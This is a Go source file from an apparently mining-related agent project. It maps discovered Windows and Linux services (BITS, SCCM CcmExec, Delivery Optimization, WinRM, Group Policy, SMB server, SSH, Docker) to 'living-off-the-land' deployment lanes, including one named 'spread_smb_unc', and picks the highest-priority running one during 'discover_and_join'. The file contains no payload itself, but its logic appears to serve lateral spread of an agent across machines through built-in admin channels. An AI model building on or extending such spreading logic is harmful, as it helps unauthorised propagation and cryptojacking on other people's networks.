Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
134 lines
4.3 KiB
Go
134 lines
4.3 KiB
Go
package api
|
|
|
|
import (
|
|
"strings"
|
|
)
|
|
|
|
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
|
|
type ServiceDeployLane struct {
|
|
Lane string `json:"lane"` // bits_curl | do_peer | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
|
|
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
|
|
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
|
|
}
|
|
|
|
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
|
|
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
|
|
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
|
|
"DoSvc": {Lane: "do_peer", Priority: 35},
|
|
"Delivery Optimization": {Lane: "do_peer", Priority: 35},
|
|
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
|
|
"CcmExec": {Lane: "bits_curl", Priority: 10},
|
|
"BITS": {Lane: "bits_curl", Priority: 8},
|
|
"com.docker.service": {Lane: "docker_load", Priority: 20},
|
|
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
|
|
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
|
|
"Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"},
|
|
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
|
"Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"},
|
|
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
|
|
"Server": {Lane: "spread_smb_unc", Priority: 45},
|
|
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
|
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
|
|
}
|
|
|
|
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
|
|
func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane {
|
|
if len(raw) == 0 {
|
|
dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist))
|
|
for k, v := range DefaultServiceDeployAllowlist {
|
|
dup[k] = v
|
|
}
|
|
return dup
|
|
}
|
|
out := make(map[string]ServiceDeployLane, len(raw))
|
|
for name, lane := range raw {
|
|
name = strings.TrimSpace(name)
|
|
if name == "" {
|
|
continue
|
|
}
|
|
lane.Lane = normalizeJoinLane(lane.Lane)
|
|
if lane.Template == "" {
|
|
switch lane.Lane {
|
|
case "winrm":
|
|
lane.Template = "winrm"
|
|
case "gpo":
|
|
lane.Template = "gpo"
|
|
case "linux_lotl":
|
|
lane.Template = "linux-lotl"
|
|
}
|
|
}
|
|
out[name] = lane
|
|
}
|
|
return out
|
|
}
|
|
|
|
func normalizeJoinLane(lane string) string {
|
|
lane = strings.ToLower(strings.TrimSpace(lane))
|
|
switch lane {
|
|
case "bits", "bits/curl", "bits_curl", "bits-curl":
|
|
return "bits_curl"
|
|
case "do_peer", "do-peer", "dosvc":
|
|
return "do_peer"
|
|
case "docker", "docker_load", "docker-load":
|
|
return "docker_load"
|
|
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
|
|
return "spread_smb_unc"
|
|
case "linux", "linux_lotl", "linux-lotl":
|
|
return "linux_lotl"
|
|
default:
|
|
return lane
|
|
}
|
|
}
|
|
|
|
// PickDeployLane chooses the highest-priority allowlisted running service.
|
|
func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
|
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
|
var bestPriority int
|
|
for _, svc := range services {
|
|
if !serviceRunningForJoin(svc.Status) {
|
|
continue
|
|
}
|
|
entry, found := allowlist[svc.Name]
|
|
if !found {
|
|
// Case-insensitive fallback
|
|
for k, v := range allowlist {
|
|
if strings.EqualFold(k, svc.Name) {
|
|
entry, found = v, true
|
|
break
|
|
}
|
|
}
|
|
}
|
|
if !found {
|
|
continue
|
|
}
|
|
pri := entry.Priority
|
|
if pri == 0 {
|
|
pri = 1
|
|
}
|
|
if !ok || pri > bestPriority {
|
|
ok = true
|
|
bestPriority = pri
|
|
matched = svc.Name
|
|
lane = entry
|
|
}
|
|
}
|
|
return matched, lane, ok
|
|
}
|
|
|
|
func serviceRunningForJoin(status string) bool {
|
|
switch strings.ToLower(strings.TrimSpace(status)) {
|
|
case "running", "started", "active":
|
|
return true
|
|
default:
|
|
return false
|
|
}
|
|
}
|
|
|
|
// DeployServiceFinding is one service reported by the agent during discover_and_join.
|
|
type DeployServiceFinding struct {
|
|
Name string `json:"name"`
|
|
DisplayName string `json:"display_name,omitempty"`
|
|
Status string `json:"status"`
|
|
StartType string `json:"start_type,omitempty"`
|
|
}
|